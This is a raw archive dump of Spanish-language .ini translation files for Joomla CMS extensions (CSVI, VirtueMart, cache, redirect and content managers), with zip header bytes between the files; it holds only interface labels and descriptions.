cupones" ; COM_CSVI_CUSTOMEXPORT_DESC="Custom export allows for exporting data from non-tables" ; COM_CSVI_MANUFACTUREREXPORT_DESC="Export manufacturer details" ; COM_CSVI_MULTIPLEPRICESEXPORT_DESC="Export multiple prices for products" ; COM_CSVI_ORDEREXPORT_DESC="Export orders" ; COM_CSVI_ORDERITEMEXPORT_DESC="Export order items" ; COM_CSVI_PRODUCTEXPORT_DESC="Export products and their details" ; COM_CSVI_PRODUCTFILESEXPORT_DESC="Export product files" ; COM_CSVI_PRODUCTREVIEWSEXPORT_DESC="Export reviews" ; COM_CSVI_PRODUCTTYPEEXPORT_DESC="Export product types" ; COM_CSVI_PRODUCTTYPENAMESEXPORT_DESC="Export product type names" ; COM_CSVI_PRODUCTTYPEPARAMETERSEXPORT_DESC="Export product type parameters" ; COM_CSVI_SHIPPINGRATESEXPORT_DESC="Export shipping rates" ; COM_CSVI_TAXRATESEXPORT_DESC="Export tax rates" ; COM_CSVI_USERFIELDSEXPORT_DESC="Export user fields" ; COM_CSVI_USERINFOEXPORT_DESC="Export user details" ; COM_CSVI_WAITINGLISTEXPORT_DESC="Export customer and product details that are on the waitinglist" ; COM_CSVI_CATEGORYDETAILSIMPORT_DESC="Import category details" COM_CSVI_COUPONSIMPORT_DESC="Importar cupones" ; COM_CSVI_CUSTOMIMPORT_DESC="Custom import allows for importing data into non-tables" ; COM_CSVI_MANUFACTURERCATEGORYIMPORT_DESC="Import manufacturer category etails" ; COM_CSVI_MANUFACTURERIMPORT_DESC="Import manufacturer details" ; COM_CSVI_MULTIPLEPRICESIMPORT_DESC="Import multiple prices for products" COM_CSVI_ORDERIMPORT_DESC="Importar pedidos" ; COM_CSVI_ORDERITEMIMPORT_DESC="Import order items" ; COM_CSVI_PRODUCTFILESIMPORT_DESC="Import product files" ; COM_CSVI_PRODUCTIMPORT_DESC="Import products and their details" COM_CSVI_PRODUCTREVIEWSIMPORT_DESC="Importar analisis" ; COM_CSVI_PRODUCTSTOCKIMPORT_DESC="Import product stock" ; COM_CSVI_PRODUCTTYPEIMPORT_DESC="Import product types" ; COM_CSVI_PRODUCTTYPENAMESIMPORT_DESC="Import product type names" ; COM_CSVI_PRODUCTTYPEPARAMETERSIMPORT_DESC="Import product type parameters" ; COM_CSVI_SHIPPINGRATESIMPORT_DESC="Import shipping rates" COM_CSVI_TAXRATESIMPORT_DESC="Importar impuestos" ; COM_CSVI_USERFIELDSIMPORT_DESC="Import user fields" ; COM_CSVI_USERINFOIMPORT_DESC="Import user details" ; COM_CSVI_WAITINGLISTIMPORT_DESC="Import customer and product details to put on the waitinglist" ; COM_CSVI_VMF_FEATURESEXPORT_DESC="Exports the features from VMF" ; COM_CSVI_VMF_VALUESEXPORT_DESC="Exports the values from VMF" ; COM_CSVI_VMF_FEATURESIMPORT_DESC="Imports the features into VMF" ; COM_CSVI_VMF_VALUESIMPORT_DESC="Imports the values into VMF" COM_CSVI_FRONTEND_EXPORT="CSVI export" ; COM_CSVI_EXPORT_FRONTEND_DESC_MENU="Front-end export" COM_CSVI_IMPORT_FILE="Archivo" COM_CSVI_IMPORT_FIELDS="Campos" COM_CSVI_IMPORT_PRODUCT="Opciones" COM_CSVI_IMPORT_CATEGORY="Opciones" COM_CSVI_EXPORT_FILE="Archivo" COM_CSVI_EXPORT_FIELDS="Campos" COM_CSVI_IMPORT_CATEGORY_IMAGE="Imágen" COM_CSVI_IMPORT_CATEGORY_PATH="Ruta" ; COM_CSVI_RATINGIMPORT="Rating import" ; COM_CSVI_MEDIAIMPORT="Media import" COM_CSVI_IMPORT_MEDIA="Opciones" COM_CSVI_IMPORT_MEDIA_IMAGE="Imágen" COM_CSVI_IMPORT_ORDER_ITEM="Opciones" COM_CSVI_IMPORT_ORDER_ITEM_OPTIONS="Opciones" ; COM_CSVI_CUSTOMFIELDIMPORT="Custom field import" ; COM_CSVI_CUSTOMFIELDEXPORT="Custom field export" ; COM_CSVI_CALCIMPORT="Calculation rule import" COM_CSVI_IMPORT_CALC="Opciones" COM_CSVI_IMPORT_CALC_OPTIONS="Opciones" ; COM_CSVI_IMPORT_MANUFACTURER_CATEGORY="Manufacturer category" COM_CSVI_IMPORT_MANUFACTURERCATEGORY_OPTIONS="Opciones" COM_CSVI_IMPORT_MANUFACTURER="Opciones" COM_CSVI_IMPORT_MANUFACTURER_OPTIONS="Opciones" COM_CSVI_EXPORT_CATEGORY="Opciones" COM_CSVI_CALCEXPORT="Calcular las normas de exportación" ; COM_CSVI_MEDIAEXPORT="Media export" ; COM_CSVI_RATINGEXPORT="Rating export" ; COM_CSVI_SHOPPERFIELDEXPORT="Shopper field export" COM_CSVI_EXPORT_CALC="Opciones" COM_CSVI_EXPORT_MANUFACTURER="Opciones" COM_CSVI_EXPORT_ORDER="Opciones" COM_CSVI_EXPORT_ORDERITEM="Opciones" COM_CSVI_EXPORT_PRODUCT="Opciones" COM_CSVI_EXPORT_USERINFO="Opciones" COM_CSVI_EXPORT_SHIPPING="Envios" ; models/com_akeebasubs/import/subscriptionimport.php COM_CSVI_SUBSCRIPTION_DELETED="Subscripción %s borrada" COM_CSVI_SUBSCRIPTION_NOT_DELETED="Subscripción %s not borrada" COM_CSVI_UPDATE_SUBSCRIPTION_SKU="Subscripción actualizada" COM_CSVI_ADD_SUBSCRIPTION_SKU="Subscripción añadida" COM_CSVI_SUBSCRIPTION_NOT_ADDED="Error procesando la subscripción: %s" ; COM_CSVI_SUBSCRIPTION_QUERY="Subscription query" ; models/com_akeebasubs/import/affiliateimport.php ; COM_CSVI_AFFILIATE_DELETED="Affiliate %s deleted" ; COM_CSVI_AFFILIATE_NOT_DELETED="Affiliate %s not deleted" ; COM_CSVI_UPDATE_AFFILIATE_SKU="Affiliate updated" ; COM_CSVI_ADD_AFFILIATE_SKU="Affiliate added" ; COM_CSVI_AFFILIATE_NOT_ADDED="Error processing affiliate: %s" ; COM_CSVI_AFFILIATE_QUERY="Affiliate query" ; COM_CSVI_AFFILIATEPAY_DELETED="Affiliate payment %s deleted" ; COM_CSVI_AFFILIATEPAY_NOT_DELETED="Affiliate payment %s not deleted" ; COM_CSVI_UPDATE_AFFILIATEPAY_SKU="Affiliate payment updated" ; COM_CSVI_ADD_AFFILIATEPAY_SKU="Affiliate payment added" ; COM_CSVI_AFFILIATEPAY_NOT_ADDED="Error processing affiliate payment: %s" ; COM_CSVI_AFFILIATEPAY_QUERY="Affiliate payment query" ; components COM_CSVI="CSVI" COM_VIRTUEMART="VirtueMart" COM_AKEEBASUBS="Akeeba Subscriptions" COM_REDSHOP="redSHOP" ; models/forms/com_akeebasubs/export/subscription.xml ; COM_CSVI_SUBSCRIPTION_NEW="New" ; COM_CSVI_SUBSCRIPTION_PENDING="Pending" ; COM_CSVI_SUBSCRIPTION_COMPLETED="Completed" ; COM_CSVI_SUBSCRIPTION_CANCELED="Rejected or Canceled" ; views/process/com_akeebasubs/export/default_subscription.php COM_CSVI_EXPORT_SUBSCRIPTION="Opciones" COM_CSVI_EXPORT_LEVEL_ID="ID" ; COM_CSVI_EXPORT_LEVEL_TITLE="Title"PK@y>\3,language/es-ES/es-ES.plg_search_weblinks.ininuW+A; $Id: es-ES.plg_search_weblinks.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! PLG_SEARCH_WEBLINKS="Buscar - Enlaces web" PLG_SEARCH_WEBLINKS_FIELD_SEARCHLIMIT_DESC="Cantidad de resultados de la búsqueda a mostrar" PLG_SEARCH_WEBLINKS_FIELD_SEARCHLIMIT_LABEL="Límite de la búsqueda" PLG_SEARCH_WEBLINKS_WEBLINKS="Enlaces web" PLG_SEARCH_WEBLINKS_XML_DESCRIPTION="Se habilitan las búsquedas en el componente de enlaces web" PK@y>\rϯmm3language/es-ES/es-ES.plg_vmpayment_standard.sys.ininuW+A; $Id: en-GB.plg_vmpayment_standard.ini 2567 2010-10-08 14:20:50Z _fD_ $ ; @package ; @author Valerie Isaksen ; Copyright (C) 2008 VirtueMart, 2010 VirtueMart Team. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM VMPAYMENT_STANDARD="Vm Plugin Pago Standard" PK@y>\*language/es-ES/es-ES.com_templates.sys.ininuW+A; $Id: es-ES.com_templates.sys.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! COM_TEMPLATES="Gestor de plantillas" COM_TEMPLATES_XML_DESCRIPTION="Este componente gestiona las plantillas" PK@y>\>>$language/es-ES/es-ES.mod_version.ininuW+A; $Id: es-ES.mod_version.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! MOD_VERSION="Información de la versión de Joomla!" MOD_VERSION_FORMAT_DESC="La versión extendida incluye el nombre en clave y la fecha" MOD_VERSION_FORMAT_LABEL="Formato de la versión" MOD_VERSION_FORMAT_LONG="Extendida" MOD_VERSION_FORMAT_SHORT="Abreviada" MOD_VERSION_PRODUCT_DESC="Incluye el texto "_QQ_"Joomla!"_QQ_" cuando se usa la versión abreviada" MOD_VERSION_PRODUCT_LABEL="Mostrar Joomla!" MOD_VERSION_XML_DESCRIPTION="Este módulo muestra la versión de Joomla!" PK@y>\{#language/es-ES/es-ES.mod_status.ininuW+A; $Id: es-ES.mod_status.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! MOD_STATUS="Estado del usuario" MOD_STATUS_BACKEND_USERS="%s administradores" MOD_STATUS_BACKEND_USERS_1="%s administrador" MOD_STATUS_FIELD_SHOW_LOGGEDIN_USERS_ADMIN_DESC="Se muestra desde el panel de control la cantidad de usuarios conectados en la administración" MOD_STATUS_FIELD_SHOW_LOGGEDIN_USERS_ADMIN_LABEL="Mostrar usuarios conectados a la administración" MOD_STATUS_FIELD_SHOW_LOGGEDIN_USERS_DESC="Se muestra desde el panel de control a los usuarios que están conectados tanto en el sitio, como en la administración" MOD_STATUS_FIELD_SHOW_LOGGEDIN_USERS_LABEL="Mostrar usuarios conectados" MOD_STATUS_FIELD_SHOW_MESSAGES_DESC="Mostrar la cantidad de mensajes en la bandeja de entrada del usuario actual" MOD_STATUS_FIELD_SHOW_MESSAGES_LABEL="Mostrar mensajes" MOD_STATUS_LOG_OUT="Desconectar" MOD_STATUS_MESSAGES="%d" MOD_STATUS_MESSAGES_0="%d" MOD_STATUS_MESSAGES_1="%d" MOD_STATUS_USERS="%s vistantes" MOD_STATUS_USERS_0="%s visitantes" MOD_STATUS_USERS_1="%s visitante" MOD_STATUS_XML_DESCRIPTION="Este módulo muestra el estado de los usuarios identificados." PK@y>\.language/es-ES/es-ES.plg_finder_categories.ininuW+A; $Id: es-ES.plg_finder_categories.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! PLG_FINDER_CATEGORIES="Búsquedas inteligentes - Categorías" PLG_FINDER_CATEGORIES_XML_DESCRIPTION="Este plugin indexa las categorías de Joomla!" PK@y>\"Kkk/language/es-ES/es-ES.plg_content_emailcloak.ininuW+A; $Id: es-ES.plg_content_emailcloak.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! PLG_CONTENT_EMAILCLOAK="Contenido - Enmascarar correo" PLG_CONTENT_EMAILCLOAK_LINKABLE="Como dirección de correo enlazable" PLG_CONTENT_EMAILCLOAK_MODE_DESC="Seleccione cómo se mostrarán las direcciones de correo electrónico" PLG_CONTENT_EMAILCLOAK_MODE_LABEL="Modo" PLG_CONTENT_EMAILCLOAK_NONLINKABLE="Texto no enlazable" PLG_CONTENT_EMAILCLOAK_XML_DESCRIPTION="Se enmascaran todas las direcciones de correo electrónico en el contenido usando JavaScript, para evitar que sean vistas por los robots de spam." PK@y>\w%language/es-ES/es-ES.com_redirect.ininuW+A; $Id: es-ES.com_redirect.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! COM_REDIRECT="Redireccionar" COM_REDIRECT_BUTTON_UPDATE_LINKS="Actualizar enlaces" COM_REDIRECT_CONFIGURATION="Opciones del gestor de redirecciones" COM_REDIRECT_DETAILS="Detalles" COM_REDIRECT_DISABLE_LINK="Deshabilitar el enlace" COM_REDIRECT_EDIT_LINK="Editar el enlace #%d" COM_REDIRECT_ENABLE_LINK="Habilitar el enlace" COM_REDIRECT_ERROR_DESTINATION_URL_REQUIRED="La redirección debe tener una URL de destino" COM_REDIRECT_ERROR_DUPLICATE_OLD_URL="La URL de destino debe ser única." COM_REDIRECT_ERROR_DUPLICATE_URLS="La URL de origen y de destino no pueden ser la misma." COM_REDIRECT_ERROR_SOURCE_URL_REQUIRED="La redirección debe tener una URL de origen" COM_REDIRECT_FIELD_COMMENT_DESC="Algunas veces sirve de ayuda describir las URLs a redirigir para después poder gestionarlas más fácilmente." COM_REDIRECT_FIELD_COMMENT_LABEL="Comentario" COM_REDIRECT_FIELD_CREATED_DATE_LABEL="Fecha de creación" COM_REDIRECT_FIELD_NEW_URL_DESC="Introduzca aquí la URL a redirigir." COM_REDIRECT_FIELD_NEW_URL_LABEL="URL de destino" COM_REDIRECT_FIELD_OLD_URL_DESC="Introduzca aquí la URL que desea redirigir." COM_REDIRECT_FIELD_OLD_URL_LABEL="URL de origen" COM_REDIRECT_FIELD_REFERRER_LABEL="Referencia del enlace" COM_REDIRECT_FIELD_UPDATED_DATE_LABEL="Última fecha de actualización" COM_REDIRECT_HEADING_CREATED_DATE="Fecha de creación" COM_REDIRECT_HEADING_HITS="Respuestas 404" COM_REDIRECT_HEADING_NEW_URL="Nueva URL" COM_REDIRECT_HEADING_OLD_URL="URL expirada" COM_REDIRECT_HEADING_REFERRER="Página de referencia" COM_REDIRECT_HEADING_UPDATE_LINKS="Actualice los enlaces seleccionados usando la siguiente URL" COM_REDIRECT_MANAGER_LINK="Gestor de redirecciones: Enlace" COM_REDIRECT_MANAGER_LINKS="Gestor de redirecciones: Enlaces" COM_REDIRECT_N_ITEMS_ARCHIVED="%d enlaces han sido activados correctamente" COM_REDIRECT_N_ITEMS_ARCHIVED_1="El enlace ha sido archivado correctamente" COM_REDIRECT_N_ITEMS_DELETED="%d enlaces han sido borrados correctamente" COM_REDIRECT_N_ITEMS_DELETED_1="El enlace ha sido borrado correctamente" COM_REDIRECT_N_ITEMS_PUBLISHED="%d enlaces han sido habilitados correctamente" COM_REDIRECT_N_ITEMS_PUBLISHED_1="El enlace ha sido habilitado correctamente" COM_REDIRECT_N_ITEMS_TRASHED="%d enlaces han sido movidos a la papelera correctamente" COM_REDIRECT_N_ITEMS_TRASHED_1="El enlace ha sido movido a la papelera correctamente" COM_REDIRECT_N_ITEMS_UNPUBLISHED="%d enlaces han sido deshabilitados correctamente" COM_REDIRECT_N_ITEMS_UNPUBLISHED_1="El enlace ha sido deshabilitado correctamente" COM_REDIRECT_N_LINKS_UPDATED="%d enlaces actualizados." COM_REDIRECT_N_LINKS_UPDATED_1="Se ha actualizado un enlace" COM_REDIRECT_NEW_LINK="Nuevo enlace" COM_REDIRECT_NO_ITEM_SELECTED="Sin enlaces seleccionados" COM_REDIRECT_OPTIONS="Opciones" COM_REDIRECT_PLUGIN_DISABLED="El plugin de redirección está deshabilitado. Habilítelo desde el gestor de plugins." COM_REDIRECT_PLUGIN_ENABLED="El plugin de redirección está habilitado." COM_REDIRECT_REDIRECTED_ON="Redirigido a: %s." COM_REDIRECT_SAVE_SUCCESS="El enlace ha sido guardado correctamente" COM_REDIRECT_SEARCH_LINKS="Buscar en los campos de enlaces." COM_REDIRECT_XML_DESCRIPTION="Este componente implementa la redirección de enlaces" JLIB_RULES_SETTING_NOTES="1. Si cambia la configuración, las modificaciones se aplicarán sobre este componente. Note que:
              Heredado quiere decir que, para determinar el estado del permiso, se tendrá en cuenta lo que haya asignado desde la configuración global y desde los grupos de nivel superior.
              Denegado quiere decir que da igual como esté configurado el estado de los permisos sobre esa acción desde la configuración global, o desde los grupos de nivel superior a los que pertenezca el grupo que desee configurar; es decir, al grupo al que le cambie el estado del permiso a 'Denegado' desde este apartado, no podrá realizar esa acción sobre este componente (incluyendo a todos sus subgrupos, si tuviera).
              Permitido quiere decir que el grupo al que le cambie el estado de la acción a 'Permitido' desde aquí, podrá realizar esa acción sobre este componente (pero si esta configuración entra en conflicto con lo asignado desde la configuración global, o con lo asignado en los grupos de nivel superior a los que pertenezca el grupo que desee reconfigurar, la configuración que aplique desde aquí no tendrá efecto, y el conflicto será indicado con un No permitido (bloqueado) debajo del estado de configuración calculada).
              2. Si realiza algún cambio en la configuración, haga clic en Guardar para que se pueda recalcular la nueva configuración." PK@y>\a4?1language/es-ES/es-ES.plg_vmpayment_paypal.sys.ininuW+A; @date : $Date$ ; @Id $Id$ ; @Revision : $Revision$ ; @author ; @package VMPayment ; @subpackage VirtueMart payment Paypal VMPAYMENT_PAYPAL="Vm Plugin Pago Paypal"PK@y>\´v0language/es-ES/es-ES.plg_editors-xtd_article.ininuW+A; $Id: es-ES.plg_editors-xtd_article.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! PLG_ARTICLE_BUTTON_ARTICLE="Artículo" PLG_ARTICLE_XML_DESCRIPTION="Se muestra un botón que permite insertar enlaces de artículo dentro de un artículo. También se muestra una ventana emergente que permite seleccionar el artículo" PLG_EDITORS-XTD_ARTICLE="Botón - Artículo" PK@y>\[ss6language/es-ES/es-ES.plg_editors-xtd_pagebreak.sys.ininuW+A; $Id: es-ES.plg_editors-xtd_pagebreak.sys.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! PLG_EDITORS-XTD_PAGEBREAK="Botón - Salto de página" PLG_EDITORSXTD_PAGEBREAK_XML_DESCRIPTION="Proporciona un botón que permite insertar un salto de página dentro de un artículo. Una ventana emergente permite configurar los parámetros a usar." PK@y>\<(`]  "language/es-ES/es-ES.com_cache.ininuW+A; $Id: es-ES.com_cache.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! COM_CACHE="Gestor de la caché" COM_CACHE_BACK_CACHE_MANAGER="Volver al gestor de la caché" COM_CACHE_CLEAR_CACHE_ADMIN="Limpiar la caché de la administración" COM_CACHE_CLEAR_CACHE="Mantenimiento - Limpiar la caché" COM_CACHE_PURGE_EXPIRED_CACHE="Mantenimiento: Purgar la caché expirada" COM_CACHE_CONFIGURATION="Configuración del gestor de la caché" COM_CACHE_EXPIRED_ITEMS_HAVE_BEEN_PURGED="Se han purgado los elementos expirados." COM_CACHE_GROUP="Grupo de la caché" COM_CACHE_MANAGER="Gestor de la caché" COM_CACHE_NUM="Cantidad" COM_CACHE_NUMBER_OF_FILES="Cantidad de archivos" COM_CACHE_PURGE_CACHE_ADMIN="Purgar la caché de la administración" COM_CACHE_PURGE_EXPIRED="Purgar expirados" COM_CACHE_PURGE_EXPIRED_ITEMS="Purgar los elementos expirados" COM_CACHE_PURGE_INSTRUCTIONS="Haga clic sobre el botón de la barra de herramientas 'Purgar expirados' para borrar todos los archivos de la caché que hayan expirado. Nota: Los archivos de la caché que no hayan expirado, no se borrarán." COM_CACHE_RESOURCE_INTENSIVE_WARNING="ADVERTENCIA: ¡Esto puede ralentizar los recursos de aquellos sitios con gran número de elementos!" COM_CACHE_SIZE="Tamaño" COM_CACHE_SELECT_CLIENT="- Seleccionar localización -" COM_CACHE_XML_DESCRIPTION="Componente para gestionar la caché" JLIB_RULES_SETTING_NOTES="1. Si cambia la configuración, las modificaciones se aplicarán sobre este componente. Note que:
              Heredado quiere decir que, para determinar el estado del permiso, se tendrá en cuenta lo que hay asignado desde la configuración global y desde los grupos de nivel superior.
              Denegado quiere decir que da igual como esté configurado el estado de los permisos sobre esa acción desde la configuración global, o desde los grupos de nivel superior a los que pertenezca el grupo que desee configurar; es decir, al grupo al que le cambie el estado del permiso a 'Denegado' desde este apartado, no podrá realizar esa acción sobre este componente (incluyendo a todos sus subgrupos, si tuviera).
              Permitido quiere decir que el grupo al que le cambie el estado de la acción a 'Permitido' desde aquí, podrá realizar esa acción sobre este componente (pero si esta configuración entra en conflicto con lo asignado desde la configuración global, o con lo asignado en los grupos de nivel superior a los que pertenezca el grupo que desee reconfigurar, la configuración que aplique desde aquí no tendrá efecto, y el conflicto será indicado con un No permitido (bloqueado) debajo del estado de configuración calculada).
              2. Si realiza algún cambio en la configuración, haga clic en Guardar para que se pueda recalcular la nueva configuración." PK@y>\A3ܚAA$language/es-ES/es-ES.com_content.ininuW+A; $Id: es-ES.com_content.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! COM_CONTENT="Artículos" COM_CONTENT_ACCESS_DELETE_DESC="La nueva configuración para este artículo sobre la acción borrar y la configuración calculada en base a lo asignado desde la categoría principal y de los grupos." COM_CONTENT_ACCESS_EDIT_DESC="La nueva configuración para este artículo sobre la acción editar y la configuración calculada en base a lo asignado desde la categoría principal y de los grupos." COM_CONTENT_ACCESS_EDITSTATE_DESC="La nueva configuración para este artículo sobre la acción editar estado y la configuración calculada en base a lo asignado desde la categoría principal y de los grupos." COM_CONTENT_ARTICLE_DETAILS="Detalles del artículo" COM_CONTENT_ARTICLES_TITLE="Gestor de artículos: Artículos" COM_CONTENT_ATTRIBS_ARTICLE_SETTINGS_LABEL="Opciones del artículo" COM_CONTENT_ATTRIBS_FIELDSET_LABEL="Opciones del artículo" COM_CONTENT_BATCH_MENU_LABEL="Seleccionar categoría a mover o copiar" COM_CONTENT_BATCH_OPTIONS="Procesar por lotes los artículos seleccionados" COM_CONTENT_BATCH_TIP="Si se ha elegido copiar un artículo, se aplicará cualquier otra acción seleccionada en el artículo a copiar. En otro caso, se aplicarán todas las acciones al artículo seleccionado." COM_CONTENT_CHANGE_ARTICLE="Seleccionar o cambiar el artículo" COM_CONTENT_CHANGE_ARTICLE_BUTTON="Seleccionar/Cambiar" COM_CONTENT_CHOOSE_CATEGORY_DESC="Seleccione una categoría principal o raíz" COM_CONTENT_CONFIG_ARTICLE_SETTINGS_DESC="Esta configuración es la que se aplica en las presentaciones de artículos, siempre y cuando que no se hayan cambiado para un elemento del menú específico." COM_CONTENT_CONFIG_BLOG_SETTINGS_DESC="Esta configuración se aplica para las presentaciones del tipo blog o destacados, siempre y cuando que no se hayan cambiado para un elemento del menú específico." COM_CONTENT_CONFIG_BLOG_SETTINGS_LABEL="Opciones del formato del tipo blog o destacados" COM_CONTENT_CONFIG_CATEGORIES_SETTINGS_DESC="Esta configuración se aplica para las opciones de las categorías de artículos, siempre y cuando que no se hayan cambiado para una categoría individual o un elemento del menú específico." COM_CONTENT_CONFIG_CATEGORY_SETTINGS_DESC="Esta configuración se aplica para las opciones de las categorías de artículos, siempre y cuando que no se hayan cambiado para una categoría individual o un elemento del menú específico." COM_CONTENT_CONFIG_EDITOR_LAYOUT="Estas opciones controlan algunas de las posibilidades de configuración disponibles desde página de edición de los artículos." COM_CONTENT_CONFIG_INTEGRATION_SETTINGS_DESC="Esta configuración determina como se integrará el componente de artículos con otras extensiones." COM_CONTENT_CONFIG_LIST_SETTINGS_DESC="Esta configuración se aplica a las presentaciones del tipo tabla o lista, siempre y cuando que no se hayan cambiado para una categoría individual o un elemento del menú específico." COM_CONTENT_CONFIGURATION="Opciones del gestor de artículos" COM_CONTENT_CREATE_ARTICLE_CATEGORY_LABEL="Categoría predeterminada" COM_CONTENT_CREATE_ARTICLE_CATEGORY_DESC="Configurado en 'Sí', esta página solo le dejará crear artículos en la categoría seleccionada de más abajo." COM_CONTENT_DRILL_CATEGORIES_LABEL="Lista o blog: después de elegir el tipo de presentación,
              asegúrese de que define las opciones de configuración para el tipo de presentación deseada. Puede aplicar configuraciones tan restrictivas o liberales como sea necesario a la hora de cubrir sus necesidades. La configuración es optimizable; pero, predeterminadamente, ofrece una buena protección contra todas aquellas etiquetas que se usan normalmente para atacar sitios web por esta vía." COM_CONTENT_DRILL_DOWN_LAYOUT_DESC="Se determina el tipo de presentación con la que se mostrarán los artículos (lista o blog), cuando se acceda a ver en detalle una categoría." COM_CONTENT_DRILL_DOWN_LAYOUT_LABEL="Presentación del tipo:" COM_CONTENT_EDIT_ARTICLE="Editar artículo" COM_CONTENT_EDITING_LAYOUT="Opciones de edición" COM_CONTENT_FEATURED="Artículo destacado" COM_CONTENT_FEATURED_CATEGORIES_DESC="Lista opcional de categorías. Si se selecciona, solo se mostrarán los artículos destacados de las categorías seleccionadas. Use 'ctrl+clic' para marcar o desmarcar." COM_CONTENT_FEATURED_CATEGORIES_LABEL="Seleccionar categorías" COM_CONTENT_FEATURED_ORDER="Orden de los artículos destacados" COM_CONTENT_FEATURED_TITLE="Gestor de artículos: Artículos destacados" COM_CONTENT_FIELD_ARTICLETEXT_DESC="Introduzca el contenido del artículo dentro del área de texto" COM_CONTENT_FIELD_ARTICLETEXT_LABEL="Texto del artículo" COM_CONTENT_FIELD_CREATED_BY_ALIAS_DESC="Aquí puede introducir un alias, el cual, será mostrado en lugar del nombre de usuario que ha creado el artículo." COM_CONTENT_FIELD_CREATED_BY_ALIAS_LABEL="Creado por alias" COM_CONTENT_FIELD_CREATED_BY_DESC="Aquí puede cambiar el nombre del usuario que ha creado el artículo." COM_CONTENT_FIELD_CREATED_BY_LABEL="Creado por" COM_CONTENT_FIELD_CREATED_DESC="La fecha de creación" COM_CONTENT_FIELD_CREATED_LABEL="Fecha de creación" COM_CONTENT_FIELD_FEATURED_DESC="Se asigna el artículo a la presentación del tipo blog para artículos destacados" COM_CONTENT_FIELD_FULL_DESC="Imagen para mostrar un único artículo" COM_CONTENT_FIELD_FULL_LABEL="Imagen para mostrar un artículo al completo" COM_CONTENT_FIELD_HITS_DESC="Cantidad de veces que se ha visto este artículo" COM_CONTENT_FIELD_IMAGE_DESC="La imagen a mostrar" COM_CONTENT_FIELD_IMAGE_ALT_DESC="Texto alternativo a mostrar a los visitantes que no tengan acceso a las imágenes. Se reemplazará con el subtítulo de la imagen si lo hay." COM_CONTENT_FIELD_IMAGE_ALT_LABEL="Texto alternativo" COM_CONTENT_FIELD_IMAGE_CAPTION_DESC="Subtítulo adjuntado a la imagen" COM_CONTENT_FIELD_IMAGE_CAPTION_LABEL="Subtítulo" COM_CONTENT_FIELD_INTRO_DESC="Imagen para el texto de introducción de presentaciones tales como las del tipo blog o de destacados" COM_CONTENT_FIELD_INTRO_LABEL="Imagen de introducción" COM_CONTENT_FIELD_LANGUAGE_DESC="El idioma al que está asignado el artículo." COM_CONTENT_FIELD_MODIFIED_DESC="La fecha y hora en la que el artículo fue modificado por última vez." COM_CONTENT_FIELD_OPTION_ABOVE="Encima" COM_CONTENT_FIELD_OPTION_BELOW="Debajo" COM_CONTENT_FIELD_PUBLISH_DOWN_DESC="Una fecha opcional de finalización de publicación del artículo." COM_CONTENT_FIELD_PUBLISH_DOWN_LABEL="Finalización de la publicación" COM_CONTENT_FIELD_PUBLISH_UP_DESC="Una fecha opcional de inicio de publicación del artículo." COM_CONTENT_FIELD_PUBLISH_UP_LABEL="Inicio de la publicación" COM_CONTENT_FIELD_SELECT_ARTICLE_DESC="Seleccione el artículo que desee de la lista." COM_CONTENT_FIELD_SELECT_ARTICLE_LABEL="Seleccionar artículo" COM_CONTENT_FIELD_URL_DESC="El enlace actual al que serán redirigidos los usuarios. Debe ser una URL completa que incluya el 'http://' u otro protocolo (por ejemplo: http://joomla.org)." 